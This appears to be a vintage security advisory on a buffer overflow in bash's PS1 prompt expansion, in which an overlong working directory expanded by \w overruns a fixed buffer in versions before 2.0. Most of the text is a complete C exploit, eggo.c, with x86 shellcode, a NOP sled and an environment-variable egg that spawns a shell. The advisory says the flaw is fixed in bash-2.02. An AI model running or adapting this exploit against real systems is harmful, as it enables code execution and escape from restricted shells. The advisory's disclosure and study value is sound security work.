COMMAND
/bin/bash
SYSTEMS AFFECTED
Systems runninh bash pre and 2.0
PROBLEM
Razvan Dragomirescu posted following about a buffer overflow
condition in the way "bash" treats the expansion of the prompt
line (as specified by PS1). Usually people use something like:
PS1=\h:\w\$
which is very nice. \h is the host name, \w is the working
directory and \$ is either '#' or '$', depending on your UID. The
problem is with \w. It appears it reads the current working
directory from the PWD environment variable. It then adds it to
the prompt line, which may have a fixed length, somewhere around
1024 bytes (not confirmed yet source).
(The exploit code is heavily based on AlephOne's "Smashing the
Stack for Fun and Profit". Razvan has changed the string "/bin/sh"
to "/bin/ls". A shell spawning another shell wouldn't do much
magic.
The only problem with this is that there is no many uses for this
overflow. "bash" is not a setuid program. Maybe you could bypass
a restricted shell based on bash, or create directories with very
long names in order to get past the end of the buffer. Exploit
follows:
--eggo.c--
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#define NOP_SIZE 1
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 2048
#define DEFAULT_EGG_SIZE 2048
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/ls";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggo [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o
<offset>]\n");
}
--end of eggo.c--
Special thanks to Doru Petrescu who first noticed the problem
while "cd"-ing to _very_ long paths for the fun of seeing bash
crash.
SOLUTION
This seems to be fixed in bash-2.02.